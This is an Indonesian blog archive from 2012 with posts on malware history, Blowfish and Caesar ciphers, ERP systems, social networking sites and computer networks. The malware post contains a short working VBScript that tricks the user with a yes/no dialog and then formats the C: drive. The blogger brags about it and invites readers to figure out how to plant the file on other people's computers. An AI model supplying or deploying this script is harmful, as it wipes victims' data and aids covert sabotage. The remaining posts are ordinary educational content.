Monday, December 10, 2012

All about of virus, worm, and trojan

                            Gagasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya. Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu bertahan terhadap serangan program lawan lainnya. Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan. Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara. Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampilkan pesan "I’m creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain

mencoba membuat program serupa, tetapi gagasan tersebut berangsur- angsur hilang dalam beberapa bulan kemudian. Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus computer dipublikasikan. Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brunner yang berjudul "The Shockwave Rider", yang mengisahkan suatu pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer. Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan computer yang secara otomatis juga menghilangkan kendali pemerintah terhadap warga negaranya. Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya. Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumuman. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire". Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan computer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya. Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digunakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi). Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.

Istilah “VIRUS” selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan membahayakan atau merugikan sebuah system komputer), seperti worm,Trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut:

->> Computer virus: merujuk pada program yang memiliki kemampuan untuk ber- reproduksi, menulari program lain dan menjadikan file-file program tertular sebagai file infector.

->> Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector.

->> Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan.

->> Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat membahayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking.

Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan। Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector.

Visual Basic Sederhana Tapi berbahaya

Set WshShell = WScript.CreateObject("WScript.Shell")
X = MsgBox("Halo dunia bertanya siapkah anda mengganti operating system anda ?", vbYesNo, "Awas bahaya ngga tanggung jawab!")
If X = 6 Then
WshShell.Run("format.com /y C:")
End If
---------------------------------------------------------

itu kode VBS yang saya buat sangat simple dan saya rasa mudah untuk dimengerti kalangan umum kalau di jalankan maka akan memformat drive c: dengan indahnya Apa saja shell command?? cari pake GOGGLE.COM ! pokoknya idop google :P
Here sample command :

run.exe rundll user,#7
run.exe rundll user,#4
run.exe rundll user,#3
dan lain lain nah........

sekarang bagaimana caranya file ini bisa masuk ke komputer orang?? pikirkan sendiri bagaimana?
sumber
Sri Maryati Pratiwi

Enkripsi Blowfish

                 Blowfish alias “OpenPGP.Cipher.4″ merupakan enkripsi yang termasuk dalam golongan Symmetric Cryptosystem , metoda enkripsinya mirip dengan DES (DES-like Cipher) diciptakan oleh seorang Cryptanalyst bernama Bruce Schneier Presiden perusahaan Counterpane Internet Security, Inc (Perusahaan konsultan tentang kriptografi dan keamanan Komputer) dan dipublikasikan tahun 1994. Dibuat untuk digunakan pada komputer yang mempunyai microposesor besar (32-bit keatas dengan cache data yang besar). Blowfish dikembangkan untuk memenuhi kriteria desain yang cepat dalam implementasinya dimana pada keadaan optimal dapat mencapai 26 clock cycle per byte, kompak dimana dapat berjalan pada memori kurang dari 5 KB, sederhana dalam algoritmanya sehingga mudah diketahui kesalahannya, dan keamanan yang variabel dimana panjang kunci bervariasi (minimum 32 bit, maksimum 448 bit, Multiple 8 bit, default 128 bit).Blowfish dioptimasikan untuk berbagai aplikasi dimana kunci tidak sering berubah, seperti pada jaringan komunikasi atau enkripsi file secara otomatis. Dalam pengimplementasiannya dalam komputer bermicroprosesor 32-bit dengan cache data yang besar (Pentium dan Power PC) Blowfish terbukti jauh lebih cepat dari DES. Tetapi Blowfish tidak cocok dengan aplikasi dengan perubahan kunci yang sering atau sebagai fungsi hast satu arah seperti pada aplikasi packet switching. Blowfish pun tidak dapat digunakan pada aplikasi kartu pintar (smart card) karena memerlukan memori yang besar. Blowfish termasuk dalam enkripsi block Cipher 64-bit dangan panjang kunci yang bervariasi antara 32-bit sampai 448-bit.Algoritma Blowfish terdiri atas dua bagian :
Key-Expansion
Berfungsi merubah kunci (Minimum 32-bit, Maksimum 448-bit) menjadi beberapa array subkunci (subkey) dengan total 4168 byte.
Enkripsi Data
Terdiri dari iterasi fungsi sederhana (Feistel Network) sebanyak 16 kali putaran. Setiap putaran terdiri dari permutasi kunci-dependent dan substitusi kunci- dan data-dependent. Semua operasi adalah penambahan (addition) dan XOR pada variabel 32-bit. Operasi tambahan lainnya hanyalah empat penelusuran tabel (table lookup) array berindeks untuk setiap putaran.
Algoritma Blowfish
Blowfish menggunakan subkunci yang besar. Kunci tersebut harus dihitung sebelum enkripsi atau dekripsi data. Blowfish adalah algoritma yang menerapkan jaringan Feistel (Feistel Network) yang terdiri dari 16 putaran. Input adalah elemen 64-bit,X.Untuk alur algoritma enkripsi dengan metoda Blowfish dijelaskan sebagai berikut :
1. Bentuk inisial P-array sebanyak 18 buah (P1,P2,…………..P18) masing-msing bernilai 32-bit.
Array P terdiri dari delapan belas kunci 32-bit subkunci :
P1,P2,…….,P18
2. Bentuk S-box sebanyak 4 buah masing-masing bernilai 32-bit yang memiliki masukan 256.
Empat 32-bit S-box masing-masing mempunyai 256 entri :
S1,0,S1,1,………………..,S1,255
S2,0,S2,1,………………..,S2,255
S3,0,S3,1,………………..,S3,255
S4,0,S4,1,………………..,S4,255
3. Plaintext yang akan dienkripsi diasumsikan sebagai masukan, Plaintext tersebut diambil sebanyak 64-bit, dan apabila kurang dari 64-bit maka kita tambahkan bitnya, supaya dalam operasi nanti sesuai dengan datanya.
4. Hasil pengambilan tadi dibagi 2, 32-bit pertama disebut XL, 32-bit yang kedua disebut XR.
5. Selanjutnya lakukan operasi XL = XL xor Pi dan XR = F(XL) xor XR
6. Hasil dari operrasi diatas ditukar XL menjadi XR dan XR menjadi XL.
7. Lakukan sebanyak 16 kali, perulangan yang ke-16 lakukan lagi proses penukaran XL dan XR.
8. Pada proses ke-17 lakukan operasi untuk XR = XR xor P17 dan XL = XL xor P18.
9. Proses terakhir satukan kembali XL dan XR sehingga menjadi 64-bit kembali.
Subkunci dihitung menggunakan algoritma Blowfish, metodanya adalah sebagai berikut :
  • Pertama-tama inilialisasi P-array dan kemudian empat S-box secara berurutan dengan string yang tetap. String ini terdiri atas digit hexadesimal dari Pi.
  • XOR P1 dengan 32-bit pertama kunci, XOR P2 dengan 32-bit kedua dari kunci dan seterusnya untuk setiap bit dari kunci (sampai P18).Ulangi terhadap bit kunci sampai seluruh P-array di XOR dengan bit kunci.
  • Enkrip semua string nol dengan algoritma Blowfish dengan menggunakan subkunci seperti dijelaskan pada langkah (1) dan (2).
  • Ganti P1 dan P2 dengan keluaran dari langkah (3).
  • Enkrip keluaran dari langkah (3) dengan algoritma Blowfish dengan subkunci yang sudah dimodifikasi.
  • Ganti P3 dan P4 dengan keluaran dari langkah (5).
  • Lanjutkan proses tersebut, ganti seluruh elemen dari P-array, kemudian seluruh keempat S-box berurutan, dengan keluaran yang berubah secara kontiyu dari algoritma Blowfish.
Total yang diperlukan adalah 521 iterasi untuk menghasilkan semua subkunci yang dibutuhkan. Aplikasi kemudian dapat menyimpan subkunci ini dan tidak membutuhkan langkah-langkah proses penurunan berulang kali, kecuali kunci yang digunakan berubah.
Untuk deskripsi sama persis dengan enkripsi, kecuali pada P-array (P1,P2,……..,P18) digunakan dengan urutan terbalik atau di inverskan.
Keamanan Blowfish
Sampai saat ini algoritma Blowfish belum ditemukan kelemahan yang berarti hanya adanya weak key dimana dua entri dari S-box mempunyai nilai yang sama. Belum ada cara untuk mengecek weak key sebelum melakukan key expansion, tetapi hal ini tidak berpengaruh terhadap hasil enkripsi. Hasil enkripsi dengan algoritma Blowfish sangat tidak mungkin dan tidak praktis untuk di terjemahkan tanpa bantuan kunci. Sampai kini belum ada Cryptanalysis yang dapat membongkar pesan tanpa kunci yang enkripsi oleh Blowfish. Agar aman dari pembongkaran pesan maka dalam algoritmanya harus menggunakan 16 putaran agar pesan tersebut tidak dapat dibongkar. Algoritma Blowfish pun dapat digabungkan dengan algoritma-algoritma enkripsi yang lain dalam pengkripsian sebuah pesan untuk lebih menjamin isi dari pesan tersebut.

KRIPTOGRAFI CAESAR

                Salah satu kriptografi yang paling tua dan paling sederhana adalah kriptogtafi Caesar. Menurut sejarah, ini adalah cara Julius Caesar mengirimkan surat cinta kepada kekasihnya Cleopatra. Dalam kriptografi Caesar, maka setiap huruf akan dituliskan dalam huruf lain hasil pergeseran 3 buah huruf. Kriptografi Caesar ini adalah kriptografi substitusi karena setiap huruf akan digantikan huruf lain.
Sebagai contoh, huruf A akan digeser 3 huruf menjadi huruf D, B akan digeser 3 huruf menjadi E, J akan digeser menjadi M, O akan menjadi R dan seterusnya. Pergeseran ini juga berputar kembali ke awal abjad sehingga sesudah huruf Z diikuti kembali oleh huruf A. Kriptografi Caesar ini dikenal sebagai monoalphabetic substitution cipher karena satu huruf tertentu pasti akan berubah menjadi huruf tertentu yang lain.
Perubahan pada kriptografi Caesar bisa dituliskan sebagai berikut:




Jika Caesar akan menuliskan kalimat ‘I LOVE YOU’ maka akan dituliskan dalam kalimat ‘L ORYH BRX.
Jika kita memberi nomor ke pada huruf-huruf abjad dan kita mulai dengan huruf A=0, B=1, C=2 dstnya sampai dengan Z=25, maka kriptografi Caesar memenuhi rumus sebagai berikut :

C = (P + 3) mod 26, di mana C adalah nomor abjad ciphertext, P adalah nomor abjad plaintext . Dan dekripsinya adalah P = (C – 3) mod 26.

Kripotogtafi Caesar ini kemudian berkembang di mana pergeseran tidak hanya 3 huruf tetapi ditentukan oleh suatu kunci yang adalah suatu huruf. Huruf ini yang menentukan pergeseran dari huruf pada plaintext. Jika kunci adalah A maka pergeseran adalah 0, B pergeseran adalah 1, C 2 dan seterusnya. Rumus di atas tetap berlaku tetapi pergeseran huruf ditentukan oleh nilai pergeseran k (lihat tabel 1) dan bisa berubah- ubah sesuai kunci yang digunakan.


Tabel pergeseran huruf pada kriptografi Caesar


 Rumus kriptografi Caesar, secara umum bisa dituliskan sebagai berikut: C=E(P)= (P+k)mod26P=D(C)= (C-k)mod26 di manaPadalah plaintext,Cadalah ciphertext,kadalah pergeseran huruf sesuai dengan kunci yang dikehendaki. Dibawah ini adalah tampilan implementasi kriptografi Caesar dalam Visual Basic.Net. Masukkan kalimat yang ingin dienkripsi, dan masukkan kunci yang dikehendaki, misalnya kalimat: INI PESAN RAHASIA dengan kunci L. Klik tombol Encipher dan lihat ciphertext yang muncul.

ERP adalah....

                ERP adalah sistem informasi yang diperuntukkan bagi perusahan manufaktur maupun jasa yang berperan mengintegrasikan dan mengotomasikan proses bisnis yang berhubungan dengan aspek operasi, produksi maupun distribusi di perusahaan bersangkutan. Atau dengan kata lain ERP digunakan untuk mengelola seluruh aktifitas perusahaan termasuk keuangan, produksi, HRD, marketing, supply chain, logistics, dll. SAP adalah perusahaan yang memiliki pangsa pasar (marketshare) terbesar di dunia untuk software ERP.
Karakter Sistem ERP sering disebut sebagai Back Office System yang mengindikasikan bahwa pelanggan dan publik secara umum tidak dilibatkan dalam sistem ini. Berbeda dengan Front Office System yang langsung berurusan dengan pelanggan seperti sistem untuk e-Commerce , Customer Relationship Management (CRM), e-Government dan lain-lain.
ERP sering disebut sebagai Back Office System yang mengindikasikan bahwa pelanggan dan publik secara umum tidak dilibatkan dalam sistem ini. Berbeda dengan Front Office Syistem ,yang langsung berurusan dengan pelanggan seperti sistem untuk e-Commerce , Customer Relationship Management (CRM), e-Government dan lain-lain. Konsep ERP dapat dijalankan dengan baik,jika didukung aplikasi dan infrastruktur komputer baik Hardware / software sehingga pengolahan dapat dilakukan dengan mudah .
ERP berkembang dari Manufacturing Resource Planning ( MRP II) dimana MRP II sendiri adalah hasil evolusi dari Material Requirement Planning (MRP) yang berkembang sebelumnya. Sistem ERP secara modular biasanya menangani proses manufaktur, logistik, distribusi, persediaan (inventory), pengapalan, invoice dan akuntasi perusahaan. Ini berarti bahwa sistem ini nanti akan membantu mengontrol aktivitas bisnis seperti penjualan, pengiriman, produksi, manajemen persediaan, manajemen kualitas dan sumber daya manusia.
Sistim ERP dibagi atas beberapa sub-sistim yaitu sistim Financial, sistim Distribusi, sistim Manufaktur, sistim Maintenance dan sistim Human Resource. Industri analis TI seperti Gartner Group dan AMR Research telah sejak awal tahun 90an memantau dan menganalisa paket-paket aplikasi yang tergolong dalam sistim ERP. Contoh paket ERP antara lain: SAP, Baan, Oracle, IFS, Peoplesoft dan JD.Edwards.
Untuk mengetahui bagaimana sistim ERP dapat membantu sistim operasi bisnis kita, mari kita perhatikan suatu kasus kecil seperti di bawah ini :
Katakanlah kita menerima order untuk 100 unit Produk A. Sistim ERP akan membantu kita menghitung berapa yang dapat diproduksi berdasarkan segala keterbatasan sumber daya yang ada pada kita saat ini. Apabila sumber daya tersebut tidak mencukupi, sistim ERP dapat menghitung berapa lagi sumberdaya yang diperlukan, sekaligus membantu kita dalam proses pengadaannya. Ketika hendak mendistribusikan hasil produksi, sistim ERP juga dapat menentukan cara pemuatan dan pengangkutan yang optimal kepada tujuan yang ditentukan pelanggan. Dalam proses ini, tentunya segala aspek yang berhubungan dengan keuangan akan tercatat dalam sistim ERP tersebut termasuk menghitung berapa biaya produksi dari 100 unit tersebut.

Beberapa keuntungan penggunaan ERP :
Integrasi data keuangan
Untuk mengintegrasikan data keuangan sehingga top management bisa melihat dan mengontrol kinerja keuangan perusahaan dengan lebih baik
Standarisasi Proses Operasi
Menstandarkan proses operasi melalui implementasi best practice sehingga terjadi peningkatan produktivitas, penurunan inefisiensi dan peningkatan kualitas produk
Standarisasi Data dan Informasi
Menstandarkan data dan informasi melalui keseragaman pelaporan, terutama untuk perusahaan besar yang biasanya terdiri dari banyak business unit dengan jumlah dan jenis bisnis yg berbeda-beda
Suksesor Penerapan
Syarat sukses memilih ERP Pengetahuan dan Pengalaman Pengetahuan adalah pengetahuan tentang bagaimana cara sebuah proses seharusnya dilakukan, jika segala sesuatunya berjalan lancar Pengalaman adalah pemahaman terhadap kenyataan tentang bagaimana sebuah proses seharusnya dikerjakan dengan kemungkinan munculnya permasalahan. Pengetahuan tanpa pengalaman menyebabkan orang membuat perencanaan yang terlihat sempurna tetapi kemudian terbukti tidak bisa diimplementasikan. Pengalaman tanpa pengetahuan bisa menyebabkan terulangnya atau terakumulasinya kesalahan dan kekeliruan karena tidak dibekali dengan pemahaman yg cukup.
Penerapan ERP
Berikut ini adalah ringkasan poin-poin yg bisa digunakan sebagai pedoman pada saat implementasi ERP:

• ERP adalah bagian dari infrastruktur perusahaan, dan sangat penting untuk kelangsungan hidup perusahaan.
• Semua orang dan bagian yang akan terpengaruh oleh adanya ERP harus terlibat dan memberikan dukungan ERP ada untuk mendukung fungsi bisnis dan meningkatkan produktivitas, bukan sebaliknya.
• Tujuan implementasi ERP adalah untuk meningkatkan daya saing perusahaan Pelajari kesuksesan dan kegagalan implementasi ERP, jangan berusaha membuat sendiri praktek implementasi ERP.
• Ada metodologi tertentu untuk implementasi ERP yang lebih terjamin keberhasilannya.
• Gagalnya ERP :
- Waktu dan biaya implementasi yang melebihi anggaran Pre-implementation tidak dilakukan dengan baik
- Strategi operasi tidak sejalan dengan business process design dan pengembangannya
- Orang-orang tidak disiapkan untuk menerima dan beroperasi dengan sistem yang baru

Monday, November 26, 2012

Sosial Network

Situs jejaring sosial (bahasa Inggris: Social network sites) merupakan sebuah web berbasis pelayanan yang memungkinkan penggunanya untuk membuat profil, melihat list pengguna yang tersedia, serta mengundang atau menerima teman untuk bergabung dalam situs tersebut.Tampilan dasar situs jejaring sosial ini menampilkan halaman profil pengguna, yang di dalamnya terdiri dari identitas diri dan foto pengguna

Sejarah

Kemunculan situs jejaring sosial ini diawali dari adanya inisiatif untuk menghubungkan orang-orang dari seluruh belahan dunia.
Situs jejaring sosial pertama, yaitu Sixdegrees.com mulai muncul pada tahun 1997.Situs ini memiliki aplikasi untuk membuat profil, menambah teman, dan mengirim pesan.  Tahun 1999 dan 2000, muncul situs sosial lunarstorm, live journal, Cyword yang berfungsi memperluas informasi secara searah. Tahun 2001, muncul Ryze.com yang berperan untuk memperbesar jejaring bisnis.  Tahun 2002, muncul friendster sebagai situs anak muda pertama yang semula disediakan untuk tempat pencarian jodoh. Dalam keanjutannya, friendster ini lebih diminati anak muda untuk saling berkenalan dengan pengguna lain.Tahun 2003, muncul situs sosial interaktif lain menyusul kemunculan friendster, Flick R, You Tube, Myspace.Hingga akhir tahun 2005, friendster dan Myspace merupakan situs jejaring sosial yang paling diminati.
Memasuki tahun 2006, penggunaan friendster dan Myspace mulai tergeser dengan adanya facebook. Facebook dengan tampilan yang lebih modern memungkinkan orang untuk berkenalan dan mengakses informasi seluas-luasnya. Tahun 2009, kemunculan Twitter ternyata menambah jumlah situs sosial bagi anak muda.Twitter menggunakan sistem mengikuti - tidak mengikuti (follow-unfollow), dimana kita dapat melihat status terbaru dari orang yang kita ikuti (follow).  Tahun 2012,muncul kembali dan menambah kembali situs jejaring sosial untuk semua usia yang bernama Ketiker. Ketiker adalah situs web yang menawarkan jejaring sosial berupa mikroblog sehingga memungkinkan penggunanya untuk mengirim dan membaca pesan yang disebut post.

Kelebihan

Keberadaan situs jejaring sosial ini memudahkan kita untuk berinteraksi dengan mudah dengan orang-orang dari seluruh belahan dunia dengan biaya yang lebih murah dibandingkan menggunakan telepon.Selain itu, dengan adanya situs jejaring sosial, penyebaran informasi dapat berlangsung secara cepat.

Kelemahan

Kemunculan situs jejaring sosial ini menyebabkan interaksi interpersonal secara tatap muka (face-to-face) cenderung menurun.Orang lebih memilih untuk menggunakan situs jejaring sosial karena lebih praktis. Di lain pihak, kemunculan situs jejaring sosial ini membuat anak muda tidak dapat tidak mengakses internet.Dalam kadar yang berlebihan, situs jejaring sosial ini secara tidak langsung membawa dampak negatif, seperti kecanduan (addiksi) yang berlebihan dan terganggunya privasi seseorang.

Ada beberapa Sosial Nerwork yaitu :

Social Networking adalah sebutan lain terhadap website community.
Social Networking adalah tempat untuk para netter berkolaborasi dengan netter lainnya.
Bentuk kolaborasi antara lain adalah saling bertukar pendapat/komentar, mencari teman, saling mengirim email, saling memberi penilaian, saling bertukar file dan yang lainnya.
Intinya dari situs social networking adalah interaktifitas.
Berikut adalah 10 Situs Social Networking yang mungkin bisa berguna bagi anda :

1. MySpace (http://www.myspace.com/)
MySpace adalah situs jaringan sosial populer yang menawarkan jaringan antar teman, profil pribadi, blog, grup, foto, musik dan video untuk remaja dan dewasa di seluruh dunia.

2. Facebook (http://www.facebook.com/)
FacebooK Adalah Sebuah Website Yang bertemakan social networking (Pencari Teman di Dunia Maya).
Facebook merupakan situs web jaringan sosial yang diluncurkan pada 4 Februari 2004 dan didirikan oleh Mark Zuckerberg.

3. Windows Live Spaces (http://spaces.live.com/)
Windows Live Spaces adalah platform blogging Microsoft.
Windows Live Spaces merupakan sebuah situs blog dan social networking berbasis teknologi Live.com yang menggantikan MSN Spaces.

4. Friendster (http://www.friendster.com/)
Friendster adalah adalah sebuah situs web jaringan sosial di mana seorang pengguna akan membuat identitas maya dan kemudian mengisi data dirinya untuk kemudian mendapatkan account di Friendster.
Dalam Friendster, kita juga dapat melihat teman dari teman kita dan teman dari teman dari teman kita, selain melihat teman kita sendiri.

5. hi5 (http://www.hi5.com/)
Hi5 adalah salah satu situs yang menyediakan layanan jaringan sosial (social networking).
hi5 adalah situs jaringan sosial paling umum di Amerika Latin.

6. Flickr (http://www.flickr.com/)
Flickr adalah salah satu situs image sharing populer, saat ini sudah digunakan oleh ratusan ribu pengguna dan trafik yang sudah sangat banyak.
Flickr merupakan situs web untuk berbagi foto dan situs komunitas online.
Sebagai situs web yang populer untuk berbagi foto pribadi, layanan ini dimanfaatkan oleh banyak blogger sebagai tempat penyimpanan foto.

7. Orkut (http://www.orkut.com/)
Orkut adalah website komunitas dari Google.
Dengan Orkut , kita dapat sharing photo, kirim pesan, testimoni, sharing dan upload video, berdiskusi, berinteraksi dan lainnya.

8. Flixster (http://www.flixster.com/)
Flickr adalah salah satu situs video sharing populer.
Anda bisa sharing review-review film dan juga ikut memberi rating.
Flixster ini juga memiliki database yang berhubungan dengan informasi film yang sangat besar.

9. Multiply (http://www.multiply.com/)
Multiply adalah sebuah situs jaringan sosial dengan fitur yang memungkinkan orang untuk saling-berbagi beberapa media, seperti foto, video, maupun blog.

10. Netlog (http://www.netlog.com/)
Netlog adalah salah satu situs yang menyediakan layanan jaringan sosial (social networking).
Netlog adalah situs jaringan sosial yang sangat populer di Eropa.

Teknologi Dari Jaringan

Jaringan Teknologi Komunikasi
             
                adalah serangkaian interkoneksi antara teknologi yang saling berhubungan satu dan lainnya. Perkembangan teknologi kian pesat. Dalam setiap hal yang dilakukan oleh tiap orang, akan sangat berhubungan dengan yang namanya teknologi. Perkembangan teknologi yang signifikan menjadikan perubahan yang mulai merambah dalam tiap hal yang dijajaki dan diperdalami oleh teknologi. Perkembangan komputer, sistem data, dalam perangkat keras dan perangkat lunak, hingga ke perkembangan komunikasi. Dengan perkembangan demikian membuat manusia kembali beradaptasi dan menyesuaikan seiring dengan perkembangan tersebut.
Teknologi pun mewabah ke jaringan informasi yang ada, sehingga menjadikan perkembangan komunikasi yang mengalami perubahan dalam pemanfaatan teknologi. Tanpa disadari perkembangan jaringan yang ada semakin maju dan dirasakan mengalami perkembangan yang pesat. Dalam perkembangan teknologi Indonesia, perkembangan teknologi dalam jaringan kian pesat dan sudah mulai terkenal hingga melekat di hati pengguna. Semakin banyak yang harus dipahami, semakin banyak yang harus diketahui dan banyak yang mengalami perubahan.
Perkembangan teknologi dalam jaringan sudah dijajaki oleh para produsen ternama, bahkan sudah mengembangkan hingga memiliki jaringan tersendiri. Dengan hal seperti ini, membuat persaingan di dunia komunikasi dan teknologi semakin menarik. Tidak hanya itu, jaringan yang ada bahkan sudah bayak diakses dan mulai dikenal orang banyak tanpa dengan adanya publikasi.


Jaringan Teknologi

Jaringan komputer adalah sebuah kumpulan komputer, alat cetak/printer, dan peralatan lainnya yang saling terhubung. Informasi dan data bergerak melalui kabel-kabel sehingga memungkinkan pengguna jaringan komputer dapat saling bertukar dokumen dan data, mencetak pada printer yang sama dan bersama-sama menggunakan hardware/software yang terhubung dengan jaringan.
Tiap komputer, printer, atau periferal yang terhubung dengan jaringan disebut node. Sebuah jaringan komputer dapat memiliki dua, puluhan, ribuan, atau bahkan jutaan node. Sebuah jaringan biasanya terdiri dari 2 atau lebih komputer yang saling berhubungan di antara satu dengan yang lain, dan saling berbagi sumber daya misalnya CDROM, printer, pertukaran file, atau memungkinkan untuk saling berkomunikasi secara elektronik. Komputer yang terhubung tersebut, dimungkinkan berhubungan dengan media kabel, saluran telepon, gelombang radio, satelit, atau sinar infra merah.
E-commerce, di sisi lain, didefinisikan sebagai transaksi atas jaringan komputer yang dimediasi yang melibatkan perpindahan kepemilikan atau hak untuk menggunakan barang atau jasa. Misalnya, ketika Anda membeli lagu dari toko musik elektronik lainnya di jejaring sosial, Anda terlibat dalam e-commerce.
Definisi ini juga menunjukkan persamaan antara e-bisnis dan e-commerce. Tentu saja sebagian proses yang terlibat dalam e-bisnis dapat diklasifikasikan sebagai commerce yaitu pertukaran kepemilikan hak. Jika apotek elektronik perintah itu obat dari perusahaan farmasi, yang merupakan pertukaran hak kepemilikan yang baik. Menggunakan definisi di atas, seperti transaksi akan dianggap e-commerce, tidak e-bisnis. Namun, skenario di atas juga melibatkan urutan material baru untuk membantu dalam produksi barang (misalnya, mengisi resep), yang akan jatuh di bawah definisi dari e-bisnis. Jadi, apakah ada yang nyata perbedaan antara keduanya?
Mungkin cara yang lebih mudah untuk mendefinisikan perbedaan mungkin dengan cara memeriksa penerima transaksi. Dalam contoh di atas, satu usaha adalah memesan barang dari usaha lain, yaitu bisnis untuk bisnis atau B2B. Farmasi perlu membeli bahan baku (jumlah besar obat) dalam rangka untuk menyediakan selesai produk (diisi resep, paket obat dingin) kepada konsumen. Oleh karena itu, transaksi antara dua bisnis (dari satu ke yang lain) tampaknya terbaik untuk jatuh di bawah kategori e-bisnis. Namun, pembelian, sebuah lagu dari iTunes adalah transaksi antara bisnis (perusahaan rekaman) dan Anda (konsumen), atau bisnis ke konsumen (B2C). Karena begitu banyak transaksi antara bisnis dan konsumen ritel berdasarkan (bisnis menjual produk jadi ke konsumen), mungkin terbaik untuk melihat transaksi ke konsumen sebagai e-commerce.
Bahkan dengan penjelasan di atas, kita dapat melihat bahwa e-commerce dapat dengan mudah diklasifikasikan sebagai bagian dari e-bisnis. Pemerintah federal Amerika Serikat mendefinisikan kedua cara itu, dan tokoh-tokoh yang menawarkan dukungan bagi mereka definisi. Revisi angka tahun 2007 menunjukkan bahwa e-commerce menyumbang 3,4% dari seluruh perdagangan di tahun itu, bahwa naik dari 2,9% dari 2006 (Scheleur et al., 2008). Dalam jumlah yang lebih besar, transaksi e-commerce pada tahun 2007 tumbuh sebesar 19% dari tahun sebelumnya, sedangkan total ritel di Amerika Serikat (baik e-commerce dan tatap muka), tumbuh hanya 4%. Pada dasarnya, yang berarti bahwa pertumbuhan perdagangan elektronik melampaui perdagangan tradisional, walaupun masih merupakan bagian kecil dari persamaan ekonomi.
Semua peralatan jaringan komputer yang saling berhubungan dikenal sebagai jaringan (network). Jaringan komputer dapat berupa jaringan luas wide area network WAN, jaringan setempat local area network (LAN) atau kombinasi keduanya.
Wide area Network WAN meliputi area geografis yang luas dengan beragam fasilitas komunikasi seperti jasa telepon jarak jauh, transmisi satelit dan kabel bawah laut. WAN umumnya melibatkan host komputer dan beragam jenis perangkat keras dan perangkat lunak komunikasi. Contoh WAN adalah jaringan perbankan antardaerah dan sistem pemesanan penerbangan.
Jaringan Area Lokal meliputi area terbatas, namun perbedaan ini mulai berubah dengan semakin meluasnya ruang lingkup cakupan Jaringan Area Lokal. Jaringan Area Lokal umumnya menghubungkan hingga ratusan komputer mikro yang semuanya berlokasi di area geografis yang relatif kecil, seperti suatu gedung atau beberapa gedung yang berdekatan. Perusahaan tertarik pada Jaringan Area Lokal karena Jaringan Area Lokal memungkinkan beberapa pemakai berbagi perangkat lunak, data dan peralatan. Ada 3 macam jenis jaringan yaitu:

Jaringan Area Lokal

